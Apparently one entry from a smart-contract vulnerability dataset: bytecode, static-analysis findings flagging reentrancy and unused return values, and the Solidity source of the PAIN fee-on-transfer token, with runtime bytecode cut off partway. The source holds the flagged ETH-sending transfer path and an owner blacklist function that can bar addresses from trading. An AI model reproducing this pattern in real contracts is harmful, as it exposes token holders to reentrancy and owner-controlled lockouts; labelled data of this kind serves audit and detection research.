565b4311158015611aa75750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b015750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b5f576001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611c0a5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c605750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c785750601660179054906101000a900460ff165b15611ce557601754811115611c8c57600080fd5b60185481611c9984610cff565b611ca39190613462565b1115611ce4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cdb906132cc565b60405180910390fd5b5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d8d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611de65750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611eb457600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611e8f5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611e9857600080fd5b6000601660186101000a81548160ff0219169083151502179055505b6000611ebf30610cff565b9050611f136064611f05601254611ef7601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610cff565b61208e90919063ffffffff16565b61210990919063ffffffff16565b811115611f6f57611f6c6064611f5e601254611f50601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610cff565b61208e90919063ffffffff16565b61210990919063ffffffff16565b90505b601660159054906101000a900460ff16158015611fda5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611ff0575060168054906101000a900460ff165b1561201857611ffe8161222d565b600047905060008111156120165761201547612153565b5b505b505b6120258383836124b5565b505050565b6000838311158290612072576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206991906131ea565b60405180910390fd5b50600083856120819190613543565b9050809150509392505050565b6000808314156120a15760009050612103565b600082846120af91906134e9565b90508284826120be91906134b8565b146120fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f59061326c565b60405180910390fd5b809150505b92915050565b600061214b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124c5565b905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156121bb573d6000803e3d6000fd5b5050565b6000600954821115612206576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121fd9061320c565b60405180910390fd5b6000612210612528565b9050612225818461210990919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561226557612264613718565b5b6040519080825280602002602001820160405280156122935781602001602082028036833780820191505090505b50905030816000815181106122ab576122aa6136e9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561234d57600080fd5b505afa158015612361573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123859190612c33565b81600181518110612399576123986136e9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061240030601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611796565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612464959493929190613347565b600060405180830381600087803b15801561247e57600080fd5b505af1158015612492573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b6124c0838383612553565b505050565b6000808311829061250c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250391906131ea565b60405180910390fd5b506000838561251b91906134b8565b9050809150509392505050565b600080600061253561271e565b9150915061254c818361210990919063ffffffff16565b9250505090565b60008060008060008061256587612780565b9550955095509550955095506125c386600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281590919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061265885600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461285f90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126a4816128bd565b6126ae848361297a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161270b919061332c565b60405180910390a3505050505050505050565b6000806000600954905060006825f273933db570000090506127546825f273933db570000060095461210990919063ffffffff16565b821015612773576009546825f273933db570000093509350505061277c565b81819350935050505b9091565b60008060008060008060008060006127966129b4565b6127b4576127af8a600b60020154600b600301546129cb565b6127ca565b6127c98a600b60000154600b600101546129cb565b5b92509250925060006127da612528565b905060008060006127ed8e878787612a61565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061285783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061202a565b905092915050565b600080828461286e9190613462565b9050838110156128b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128aa9061324c565b60405180910390fd5b8091505092915050565b60006128c7612528565b905060006128de828461208e90919063ffffffff16565b905061293281600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461285f90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61298f8260095461281590919063ffffffff16565b6009819055506129aa81600a5461285f90919063ffffffff16565b600a819055505050565b6000601660189054906101000a900460ff16905090565b6000806000806129f760646129e9888a61208e90919063ffffffff16565b61210990919063ffffffff16565b90506000612a216064612a13888b61208e90919063ffffffff16565b61210990919063ffffffff16565b90506000612a4a82612a3c858c61281590919063ffffffff16565b61281590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a7a858961208e90919063ffffffff16565b90506000612a91868961208e90919063ffffffff16565b90506000612aa8878961208e90919063ffffffff16565b90506000612ad182612ac3858761281590919063ffffffff16565b61281590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612afd612af8846133e1565b6133bc565b90508083825260208201905082856020860282011115612b2057612b1f61374c565b5b60005b85811015612b505781612b368882612b5a565b845260208401935060208301925050600181019050612b23565b5050509392505050565b600081359050612b698161399b565b92915050565b600081519050612b7e8161399b565b92915050565b600082601f830112612b9957612b98613747565b5b8135612ba9848260208601612aea565b91505092915050565b600081359050612bc1816139b2565b92915050565b600081519050612bd6816139b2565b92915050565b600081359050612beb816139c9565b92915050565b600081519050612c00816139c9565b92915050565b600060208284031215612c1c57612c1b613756565b5b6000612c2a84828501612b5a565b91505092915050565b600060208284031215612c4957612c48613756565b5b6000612c5784828501612b6f565b91505092915050565b60008060408385031215612c7757612c76613756565b5b6000612c8585828601612b5a565b9250506020612c9685828601612b5a565b9150509250929050565b600080600060608486031215612cb957612cb8613756565b5b6000612cc786828701612b5a565b9350506020612cd886828701612b5a565b9250506040612ce986828701612bdc565b9150509250925092565b60008060408385031215612d0a57612d09613756565b5b6000612d1885828601612b5a565b9250506020612d2985828601612bdc565b9150509250929050565b600060208284031215612d4957612d48613756565b5b600082013567ffffffffffffffff811115612d6757612d66613751565b5b612d7384828501612b84565b91505092915050565b600060208284031215612d9257612d91613756565b5b6000612da084828501612bb2565b91505092915050565b600060208284031215612dbf57612dbe613756565b5b6000612dcd84828501612bc7565b91505092915050565b600060208284031215612dec57612deb613756565b5b6000612dfa84828501612bdc565b91505092915050565b600080600060608486031215612e1c57612e1b613756565b5b6000612e2a86828701612bf1565b9350506020612e3b86828701612bf1565b9250506040612e4c86828701612bf1565b9150509250925092565b60008060008060808587031215612e7057612e6f613756565b5b6000612e7e87828801612bdc565b9450506020612e8f87828801612bdc565b9350506040612ea087828801612bdc565b9250506060612eb187828801612bdc565b91505092959194509250565b6000612ec98383612ed5565b60208301905092915050565b612ede81613577565b82525050565b612eed81613577565b82525050565b6000612efe8261341d565b612f088185613440565b9350612f138361340d565b8060005b83811015612f44578151612f2b8882612ebd565b9750612f3683613433565b925050600181019050612f17565b5085935050505092915050565b612f5a81613589565b82525050565b612f69816135cc565b82525050565b6000612f7a82613428565b612f848185613451565b9350612f948185602086016135de565b612f9d8161375b565b840191505092915050565b6000612fb5602a83613451565b9150612fc08261376c565b604082019050919050565b6000612fd8602283613451565b9150612fe3826137bb565b604082019050919050565b6000612ffb601b83613451565b91506130068261380a565b602082019050919050565b600061301e602183613451565b915061302982613833565b604082019050919050565b6000613041602083613451565b915061304c82613882565b602082019050919050565b6000613064602983613451565b915061306f826138ab565b604082019050919050565b6000613087601a83613451565b9150613092826138fa565b602082019050919050565b60006130aa602483613451565b91506130b582613923565b604082019050919050565b60006130cd601783613451565b91506130d882613972565b602082019050919050565b6130ec816135b5565b82525050565b6130fb816135bf565b82525050565b60006020820190506131166000830184612ee4565b92915050565b60006040820190506131316000830185612ee4565b61313e6020830184612ee4565b9392505050565b600060408201905061315a6000830185612ee4565b61316760208301846130e3565b9392505050565b600060c0820190506131836000830189612ee4565b61319060208301886130e3565b61319d6040830187612f60565b6131aa6060830186612f60565b6131b76080830185612ee4565b6131c460a08301846130e3565b979650505050505050565b60006020820190506131e46000830184612f51565b92915050565b600060208201905081810360008301526132048184612f6f565b905092915050565b6000602082019050818103600083015261322581612fa8565b9050919050565b6000602082019050818103600083015261324581612fcb565b9050919050565b6000602082019050818103600083015261326581612fee565b9050919050565b6000602082019050818103600083015261328581613011565b9050919050565b600060208201905081810360008301526132a581613034565b9050919050565b600060208201905081810360008301526132c581613057565b9050919050565b600060208201905081810360008301526132e58161307a565b9050919050565b600060208201905081810360008301526133058161309d565b9050919050565b60006020820190508181036000830152613325816130c0565b9050919050565b600060208201905061334160008301846130e3565b92915050565b600060a08201905061335c60008301886130e3565b6133696020830187612f60565b818103604083015261337b8186612ef3565b905061338a6060830185612ee4565b61339760808301846130e3565b9695505050505050565b60006020820190506133b660008301846130f2565b92915050565b60006133c66133d7565b90506133d28282613611565b919050565b6000604051905090565b600067ffffffffffffffff8211156133fc576133fb613718565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061346d826135b5565b9150613478836135b5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134ad576134ac61368b565b5b828201905092915050565b60006134c3826135b5565b91506134ce836135b5565b9250826134de576134dd6136ba565b5b828204905092915050565b60006134f4826135b5565b91506134ff836135b5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135385761353761368b565b5b828202905092915050565b600061354e826135b5565b9150613559836135b5565b92508282101561356c5761356b61368b565b5b828203905092915050565b600061358282613595565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135d7826135b5565b9050919050565b60005b838110156135fc5780820151818401526020810190506135e1565b8381111561360b576000848401525b50505050565b61361a8261375b565b810181811067ffffffffffffffff8211171561363957613638613718565b5b80604052505050565b600061364d826135b5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156136805761367f61368b565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6139a481613577565b81146139af57600080fd5b50565b6139bb81613589565b81146139c657600080fd5b50565b6139d2816135b5565b81146139dd57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e0f4cf759689c8b22a5cb12c43b883f08b488a2dc2d4fc3cfcacd85fc63de91964736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,269 |
0x15961b752e7911dea28b4f5c482450957d2351ff
|
/**
*Submitted for verification at Etherscan.io on 2022-04-17
*/
/**
*Submitted for verification at Etherscan.io on 2022-04-17
*/
/**
PAIN
Total supply: 1,000,000,000,000
MaxBuy: 20,000,000,000
MaxWallet: 35,000,000,000
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PAIN is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "PAIN";
string private constant _symbol = "PAIN";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x5773fa1F622CBBC757bC6B0BadFd21bfBCF4A610);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 9;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 9;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 20000000000 * 10**9;
_maxWalletSize = 35000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610306578063b87f137a14610326578063c3c8cd8014610346578063c9567bf91461035b578063dd62ed3e1461037057600080fd5b806370a0823114610294578063715018a6146102b4578063751039fc146102c95780638da5cb5b146102de57806395d89b411461012f57600080fd5b8063273123b7116100e7578063273123b714610203578063313ce567146102235780635932ead11461023f578063677daa571461025f5780636fc3eaec1461027f57600080fd5b806306fdde031461012f578063095ea7b31461016b57806318160ddd1461019b5780631b3f71ae146101c157806323b872dd146101e357600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201825260048152632820a4a760e11b6020820152905161016291906116e6565b60405180910390f35b34801561017757600080fd5b5061018b610186366004611760565b6103b6565b6040519015158152602001610162565b3480156101a757600080fd5b50683635c9adc5dea000005b604051908152602001610162565b3480156101cd57600080fd5b506101e16101dc3660046117a2565b6103cd565b005b3480156101ef57600080fd5b5061018b6101fe366004611867565b61046c565b34801561020f57600080fd5b506101e161021e3660046118a8565b6104d5565b34801561022f57600080fd5b5060405160098152602001610162565b34801561024b57600080fd5b506101e161025a3660046118d3565b610520565b34801561026b57600080fd5b506101e161027a3660046118f0565b610568565b34801561028b57600080fd5b506101e16105c3565b3480156102a057600080fd5b506101b36102af3660046118a8565b6105f0565b3480156102c057600080fd5b506101e1610612565b3480156102d557600080fd5b506101e1610686565b3480156102ea57600080fd5b506000546040516001600160a01b039091168152602001610162565b34801561031257600080fd5b5061018b610321366004611760565b6106c4565b34801561033257600080fd5b506101e16103413660046118f0565b6106d1565b34801561035257600080fd5b506101e1610726565b34801561036757600080fd5b506101e161075c565b34801561037c57600080fd5b506101b361038b366004611909565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103c3338484610ae2565b5060015b92915050565b6000546001600160a01b031633146104005760405162461bcd60e51b81526004016103f790611942565b60405180910390fd5b60005b81518110156104685760016006600084848151811061042457610424611977565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610460816119a3565b915050610403565b5050565b6000610479848484610c06565b6104cb84336104c685604051806060016040528060288152602001611b06602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611010565b610ae2565b5060019392505050565b6000546001600160a01b031633146104ff5760405162461bcd60e51b81526004016103f790611942565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461054a5760405162461bcd60e51b81526004016103f790611942565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105925760405162461bcd60e51b81526004016103f790611942565b6000811161059f57600080fd5b6105bd60646105b7683635c9adc5dea000008461104a565b906110d3565b600f5550565b600c546001600160a01b0316336001600160a01b0316146105e357600080fd5b476105ed81611115565b50565b6001600160a01b0381166000908152600260205260408120546103c79061114f565b6000546001600160a01b0316331461063c5760405162461bcd60e51b81526004016103f790611942565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106b05760405162461bcd60e51b81526004016103f790611942565b683635c9adc5dea00000600f819055601055565b60006103c3338484610c06565b6000546001600160a01b031633146106fb5760405162461bcd60e51b81526004016103f790611942565b6000811161070857600080fd5b61072060646105b7683635c9adc5dea000008461104a565b60105550565b600c546001600160a01b0316336001600160a01b03161461074657600080fd5b6000610751306105f0565b90506105ed816111cc565b6000546001600160a01b031633146107865760405162461bcd60e51b81526004016103f790611942565b600e54600160a01b900460ff16156107e05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103f7565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561081d3082683635c9adc5dea00000610ae2565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561085b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087f91906119bc565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f091906119bc565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561093d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096191906119bc565b600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d7194730610991816105f0565b6000806109a66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051